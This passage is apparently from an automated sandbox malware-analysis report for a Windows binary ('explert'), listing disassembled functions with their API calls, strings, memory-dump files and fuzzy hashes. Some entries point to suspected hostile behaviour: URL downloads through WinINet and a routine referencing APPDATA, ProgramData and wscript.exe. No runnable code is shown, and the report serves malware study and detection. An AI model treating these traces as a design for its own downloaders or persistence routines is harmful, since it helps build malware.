GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00550A1C
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00550A2D

Strings

CreateThreadpoolWait, xrefs: 00550868
LCMapStringEx, xrefs: 00550A22
FlsFree, xrefs: 0055079C
FreeLibraryWhenCallbackReturns, xrefs: 005508AC
FlushProcessWriteBuffers, xrefs: 0055089B
GetCurrentPackageId, xrefs: 005508DF
FlsGetValue, xrefs: 005507AD
CreateEventExW, xrefs: 005507F1
CloseThreadpoolWork, xrefs: 005509EF
SleepConditionVariableCS, xrefs: 00550967
CreateThreadpoolTimer, xrefs: 00550824
CompareStringEx, xrefs: 00550A00
GetTickCount64, xrefs: 005508F0
FlsAlloc, xrefs: 00550790
InitializeSRWLock, xrefs: 00550978
GetLocaleInfoEx, xrefs: 00550A11
CreateSemaphoreW, xrefs: 00550802
GetSystemTimePreciseAsFileTime, xrefs: 00550923
SetThreadpoolTimer, xrefs: 00550835
SleepConditionVariableSRW, xrefs: 005509BC
CreateThreadpoolWork, xrefs: 005509CD
CreateSymbolicLinkW, xrefs: 005508D3
CloseThreadpoolTimer, xrefs: 00550857
GetFileInformationByHandleEx, xrefs: 00550901
kernel32.dll, xrefs: 00550783
WaitForThreadpoolTimerCallbacks, xrefs: 00550846
CreateSemaphoreExW, xrefs: 00550813
CloseThreadpoolWait, xrefs: 0055088A
InitOnceExecuteOnce, xrefs: 005507E0
GetCurrentProcessorNumber, xrefs: 005508BD
InitializeConditionVariable, xrefs: 00550934
SetFileInformationByHandle, xrefs: 00550912
TryAcquireSRWLockExclusive, xrefs: 0055099A
SetThreadpoolWait, xrefs: 00550879
WakeConditionVariable, xrefs: 00550945
SubmitThreadpoolWork, xrefs: 005509DE
ReleaseSRWLockExclusive, xrefs: 005509AB
AcquireSRWLockExclusive, xrefs: 00550989
WakeAllConditionVariable, xrefs: 00550956
FlsSetValue, xrefs: 005507BE
InitializeCriticalSectionEx, xrefs: 005507CF

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 865a371dcac076b4d1d27590b11a09389908cc4a5bf0c6a36042da00dd23ca63
Instruction ID: 04d429c7bfe5c73faa052543cef3817836b7565d1e0cb73cf7b62e2ddb58803f
Opcode Fuzzy Hash: 865a371dcac076b4d1d27590b11a09389908cc4a5bf0c6a36042da00dd23ca63
Instruction Fuzzy Hash: 14610E75952310EF97906BB8BE0E84A3EE8FA2D6157007516FA09E31E0D6F4B00DBF91

Function 005584EA Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00558559
_free.LIBCMT ref: 0055856F
_free.LIBCMT ref: 00558582
_free.LIBCMT ref: 00558597
_free.LIBCMT ref: 005585AC
GetCPInfo.KERNEL32(?,?), ref: 005585F6

Part of subcall function 0056224A: _free.LIBCMT ref: 005622B5

_free.LIBCMT ref: 00558861
_free.LIBCMT ref: 00558874
_free.LIBCMT ref: 00558882
_free.LIBCMT ref: 0055888D
_free.LIBCMT ref: 005588CF
_free.LIBCMT ref: 005588D7
_free.LIBCMT ref: 005588DD
_free.LIBCMT ref: 005588E5
_free.LIBCMT ref: 005588F3

Strings

0!W, xrefs: 0055891E

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$Info
String ID: 0!W
API String ID: 2509303402-2730159414
Opcode ID: c81eec7c713a858439f49a1fe97104827893df8abb220a84e020e37b9b731ea7
Instruction ID: 719ac22bd06c6b14894b5909f068964ca8ab17a555fea900dd57301001ef475e
Opcode Fuzzy Hash: c81eec7c713a858439f49a1fe97104827893df8abb220a84e020e37b9b731ea7
Instruction Fuzzy Hash: ACD18C71D003469FDB118FA8C895BBEBFF5FF48301F14456AE895AB282DB71A849CB50

Function 005329C0 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 311networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00532BA1
InternetOpenUrlA.WININET(00000000,00000007,00000000,00000000,84000000,00000000), ref: 00532C1D
InternetCloseHandle.WININET(00000000), ref: 00532C2A
InternetCloseHandle.WININET(00000000), ref: 00532C98
InternetCloseHandle.WININET(00000000), ref: 00532C9B
InternetReadFile.WININET(00000000,?,00002000,?), ref: 00532CC7
InternetReadFile.WININET(00000000,?,00002000,?), ref: 00532CFE
InternetCloseHandle.WININET(00000000), ref: 00532D52
InternetCloseHandle.WININET(00000000), ref: 00532D55

Strings

ios_base::eofbit set, xrefs: 00532D84
,V, xrefs: 00532C6B
sHM, xrefs: 00532B30
""~|fP, xrefs: 00532A04
ios_base::failbit set, xrefs: 00532D7F
ios_base::badbit set, xrefs: 00532D76, 00532D9E
33333333, xrefs: 00532A93, 00532AFF

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead
String ID: ""~|fP$,V$33333333$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$sHM
API String ID: 3539267403-3729596889
Opcode ID: 744e0d3086687a5ffe00173b3f3508765a7f284d0bf758457be2f97d93eedccb
Instruction ID: c715e586d27f767f29000507bdc943e2113d9b560d7e8e909b1264409609160f
Opcode Fuzzy Hash: 744e0d3086687a5ffe00173b3f3508765a7f284d0bf758457be2f97d93eedccb
Instruction Fuzzy Hash: 06B1F535D106089BDB02CB78DC46BE9B7B8BF66341F10876AF904B7151FB70AAC68B40

Function 0053BFD0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0053BFE5
std::_Lockit::_Lockit.LIBCPMT ref: 0053C000
std::_Lockit::~_Lockit.LIBCPMT ref: 0053C020
std::_Lockit::~_Lockit.LIBCPMT ref: 0053C071
std::_Facet_Register.LIBCPMT ref: 0053C167
std::_Lockit::~_Lockit.LIBCPMT ref: 0053C17F
Concurrency::cancel_current_task.LIBCPMT ref: 0053C18D
Concurrency::cancel_current_task.LIBCPMT ref: 0053C192
Concurrency::cancel_current_task.LIBCPMT ref: 0053C197

Strings

dV, xrefs: 0053C0A9
true, xrefs: 0053C138
false, xrefs: 0053C112
N#T, xrefs: 0053C02B, 0053C093
N#T, xrefs: 0053BFFD, 0053C01D

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::~_$Lockit::_$Facet_Register
String ID: N#T$N#T$dV$false$true
API String ID: 1941589060-4048706568
Opcode ID: cde01a473f47941b9dd03a2abcbd20a3ae6fa6dab01d1863857de8fc7982be28
Instruction ID: 5504db16eca0274ac66efa2d118c3390a2ecdf790b0d0d857d9bc94b64d473d2
Opcode Fuzzy Hash: cde01a473f47941b9dd03a2abcbd20a3ae6fa6dab01d1863857de8fc7982be28
Instruction Fuzzy Hash: FF51D335A01301DFCB24EFA8D859A9ABFA0BF54310F14446DEC09AB352EB71ED49DB81

Function 005313C0 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 332COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?), ref: 005313DD
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?), ref: 005313FB
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104,?,?), ref: 00531405
GetCurrentProcessId.KERNEL32(?,?,00000000,00000000,?,00000104,?,?), ref: 0053144A
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 00531455
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 0053175F

Strings

APPDATA, xrefs: 00531497
C:\Windows\Microsoft.NET, xrefs: 00531632
USERPROFILE, xrefs: 00531522
C:\ProgramData, xrefs: 005316A2
LOCALAPPDATA, xrefs: 005314DD
wscript.exe, xrefs: 005315A2

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CloseHandle$Process$CurrentFileModuleNameOpen
String ID: APPDATA$C:\ProgramData$C:\Windows\Microsoft.NET$LOCALAPPDATA$USERPROFILE$wscript.exe
API String ID: 1772831937-2916873119
Opcode ID: a469c25abaf6b9a0a42e4d88f5ec1e5255be694c7d284a3df74deb8752ef50a6
Instruction ID: 81a527bbd3094fa1bf4f9290b55bf704fd2313607f989bb615c789d682520510
Opcode Fuzzy Hash: a469c25abaf6b9a0a42e4d88f5ec1e5255be694c7d284a3df74deb8752ef50a6
Instruction Fuzzy Hash: 6EB12576E006049BDB10DBB8CC85BBEBF79FF90360F584168E816A7282D735ED468758

Function 00566A28 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00566A6C

Part of subcall function 00565CD4: _free.LIBCMT ref: 00565CF1
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D03
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D15
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D27
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D39
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D4B
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D5D
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D6F
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D81
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565D93
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565DA5
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565DB7
Part of subcall function 00565CD4: _free.LIBCMT ref: 00565DC9

_free.LIBCMT ref: 00566A61

Part of subcall function 0055CE37: HeapFree.KERNEL32(00000000,00000000,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?), ref: 0055CE4D
Part of subcall function 0055CE37: GetLastError.KERNEL32(?,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?,?), ref: 0055CE5F

_free.LIBCMT ref: 00566A83
_free.LIBCMT ref: 00566A98
_free.LIBCMT ref: 00566AA3
_free.LIBCMT ref: 00566AC5
_free.LIBCMT ref: 00566AD8
_free.LIBCMT ref: 00566AE6
_free.LIBCMT ref: 00566AF1
_free.LIBCMT ref: 00566B29
_free.LIBCMT ref: 00566B30
_free.LIBCMT ref: 00566B4D
_free.LIBCMT ref: 00566B65

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: fcd598e0c64765ca8e5f994308a9811f3d669e002715af052879bf83ff775c3d
Instruction ID: 3dee5d883313234914dfa8f11fd598e0f3022a28b5ff09f571966656e2eeb15f
Opcode Fuzzy Hash: fcd598e0c64765ca8e5f994308a9811f3d669e002715af052879bf83ff775c3d
Instruction Fuzzy Hash: 48314B31600302DFEB21AA78E94AB5A7FE9FF40751F14842AE498E7161DF71BC44CB20

Function 00565DD2 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00565E1A
_free.LIBCMT ref: 00565E3E
_free.LIBCMT ref: 00565E4B
_free.LIBCMT ref: 00565E70
_free.LIBCMT ref: 00565E7D
_free.LIBCMT ref: 00565E86
_free.LIBCMT ref: 00566160
_free.LIBCMT ref: 00566168

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a8e2ed7d33b8c294386bd28116111f91e8393b8346ce930f2e9ff11e975637b7
Instruction ID: 2c94900c92a8d7f6d91b958572844682ad53082a49013ef4352b2175d0a3ab17
Opcode Fuzzy Hash: a8e2ed7d33b8c294386bd28116111f91e8393b8346ce930f2e9ff11e975637b7
Instruction Fuzzy Hash: 14C14376E40605AFDB20DBA8CC56FEE7BF8BB48714F144165FA05EB282D670AE418B50

Function 00553CC8 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00553DC5
type_info::operator==.LIBVCRUNTIME ref: 00553DE7
___TypeMatch.LIBVCRUNTIME ref: 00553EF6
IsInExceptionSpec.LIBVCRUNTIME ref: 00553FC8
_UnwindNestedFrames.LIBCMT ref: 0055404C
CallUnexpected.LIBVCRUNTIME ref: 00554067

Strings

csm, xrefs: 00553E1E
csm, xrefs: 00553D05
csm, xrefs: 00553D72

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 712b5f3d7081adcf9441e666ad7d544e6442d8cf2041a31e8d9f8917eb329fb3
Instruction ID: 272f7973783a89f6c938b694f14fc717628ad5c927d883884307764814d1c259
Opcode Fuzzy Hash: 712b5f3d7081adcf9441e666ad7d544e6442d8cf2041a31e8d9f8917eb329fb3
Instruction Fuzzy Hash: A8B19971C0020AEFCF25DFA4C8A99AEBFB5BF44352B14445AEC096B212D335DA59CF91

Function 005356B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005356F1
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84000100,00000000), ref: 0053575B
InternetCloseHandle.WININET(00000000), ref: 00535768
InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 005357C9
InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 005357FB
InternetCloseHandle.WININET(00000000), ref: 0053580C
InternetCloseHandle.WININET(00000000), ref: 0053580F

Strings

Couldn't open URL!, xrefs: 0053576E
Couldn't open Internet!, xrefs: 0053584F

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead
String ID: Couldn't open Internet!$Couldn't open URL!
API String ID: 3539267403-1021515825
Opcode ID: c688d3fff9a4acdbd97173acd2ed76ef16be62c4ebcd0c18fb3853d1aa76a471
Instruction ID: e97e448f0011a209cbf0a3d8bf62b22229f103d0d8d4f1d2facac2f1f548ee43
Opcode Fuzzy Hash: c688d3fff9a4acdbd97173acd2ed76ef16be62c4ebcd0c18fb3853d1aa76a471
Instruction Fuzzy Hash: DA5196B5A10609ABEF14DFA4DC4ABAEBF79FF44305F108119F901B7281E7749A44CBA0

Function 0055C978 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0055C98E

Part of subcall function 0055CE37: HeapFree.KERNEL32(00000000,00000000,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?), ref: 0055CE4D
Part of subcall function 0055CE37: GetLastError.KERNEL32(?,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?,?), ref: 0055CE5F

_free.LIBCMT ref: 0055C99A
_free.LIBCMT ref: 0055C9A5
_free.LIBCMT ref: 0055C9B0
_free.LIBCMT ref: 0055C9BB
_free.LIBCMT ref: 0055C9C6
_free.LIBCMT ref: 0055C9D1
_free.LIBCMT ref: 0055C9DC
_free.LIBCMT ref: 0055C9E7
_free.LIBCMT ref: 0055C9F5

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ec99a7af3329ba2bb5edd33370232146be75419598044e7437dbb5fd27e8cc59
Instruction ID: 29c3df6041195d33e0923fb225520b3ac41a6b573670f6756c8aea4550524e39
Opcode Fuzzy Hash: ec99a7af3329ba2bb5edd33370232146be75419598044e7437dbb5fd27e8cc59
Instruction Fuzzy Hash: 1A21D676900209AFCB02EF94C996CDE7FB8BF48741F4081A6B9059B521DB31FA49CB81

Function 0053C4C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 0053C4D7

Part of subcall function 0054F760: std::_Lockit::_Lockit.LIBCPMT ref: 0054F772
Part of subcall function 0054F760: std::locale::_Setgloballocale.LIBCPMT ref: 0054F78D
Part of subcall function 0054F760: _Yarn.LIBCPMT ref: 0054F7A3
Part of subcall function 0054F760: std::_Lockit::~_Lockit.LIBCPMT ref: 0054F7E3

std::_Lockit::_Lockit.LIBCPMT ref: 0053C4EC
std::_Lockit::_Lockit.LIBCPMT ref: 0053C507
std::_Lockit::~_Lockit.LIBCPMT ref: 0053C527
__Getcoll.LIBCPMT ref: 0053C5AA
std::_Facet_Register.LIBCPMT ref: 0053C5DC
std::_Lockit::~_Lockit.LIBCPMT ref: 0053C5F4

Strings

ios_base::badbit set, xrefs: 0053C4C7

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$std::locale::_$Facet_GetcollInitRegisterSetgloballocaleYarn
String ID: ios_base::badbit set
API String ID: 1067193257-3882152299
Opcode ID: c15928194d2f81d8ab9fe14cb97e24ae702b69ca3f3b8e3a0cdd486350134939
Instruction ID: 99029c2c27bb8ee292840eac1b137433d11c43d63b43bc1f04bf4f2103e99841
Opcode Fuzzy Hash: c15928194d2f81d8ab9fe14cb97e24ae702b69ca3f3b8e3a0cdd486350134939
Instruction Fuzzy Hash: 5341CF719002169FCB24DF68D8499AEBFB4FF90310F148569E806BB292DB31FD09CB91

Function 00553760 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00553797
___except_validate_context_record.LIBVCRUNTIME ref: 0055379F
_ValidateLocalCookies.LIBCMT ref: 00553828
__IsNonwritableInCurrentImage.LIBCMT ref: 00553853
_ValidateLocalCookies.LIBCMT ref: 005538A8

Strings

O&U, xrefs: 00553845, 0055384E, 0055385F
csm, xrefs: 0055383D
@0S, xrefs: 0055386C

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: @0S$O&U$csm
API String ID: 1170836740-3755504247
Opcode ID: 8f07dfa0ae4b18a956baa582fdc2ee5299555a0202c5ef6314ff6d7ffb72f5d8
Instruction ID: 0245d66377412d1c5f5f435dc74492ab0ac1854de0ffe81ab5976fbb1b8144ec
Opcode Fuzzy Hash: 8f07dfa0ae4b18a956baa582fdc2ee5299555a0202c5ef6314ff6d7ffb72f5d8
Instruction Fuzzy Hash: F241E174E002099BCF10DF68C899A9EBFB5FF45355F148096FC19AB392C731AA49CB90

Function 00531B80 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00531B92
std::_Lockit::_Lockit.LIBCPMT ref: 00531BAD
std::_Lockit::~_Lockit.LIBCPMT ref: 00531BCD
std::_Lockit::~_Lockit.LIBCPMT ref: 00531C1E
__Getctype.LIBCPMT ref: 00531C6D
std::_Facet_Register.LIBCPMT ref: 00531C93
std::_Lockit::~_Lockit.LIBCPMT ref: 00531CAB

Strings

dV, xrefs: 00531C52

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeRegister
String ID: dV
API String ID: 2525760861-971893479
Opcode ID: a67ddd73a67cb3ebe12de63a0777c519aa27677572fe41e1b14adbb8eeab2b9e
Instruction ID: 312fb3cc1e6d8b76b2a7aa6611f28016b31d5dfc28413815489b6e7f81f18200
Opcode Fuzzy Hash: a67ddd73a67cb3ebe12de63a0777c519aa27677572fe41e1b14adbb8eeab2b9e
Instruction Fuzzy Hash: 0B41F331A006199FCB10DF68D8959E9BBB4FF50314F146569EC0AAB352EB31ED49CBC0

Function 0055F84E Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009c54be13120221d805ad0c40251b1e59c9b5ab8935462d10c351977d38fa7e
Instruction ID: d2bfdaaacc5782b98d2d2c5f016ac3f5997ba33d600d46074414eab69b55ac18
Opcode Fuzzy Hash: 009c54be13120221d805ad0c40251b1e59c9b5ab8935462d10c351977d38fa7e
Instruction Fuzzy Hash: 08C10470E04206EFDF15DF98D8A5BAD7FB4BF49322F14406AED04AB292C7709949CB61

Function 005661F1 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0056625F
_free.LIBCMT ref: 0056626B
_free.LIBCMT ref: 00566394
_free.LIBCMT ref: 0056639F

Memory Dump Source

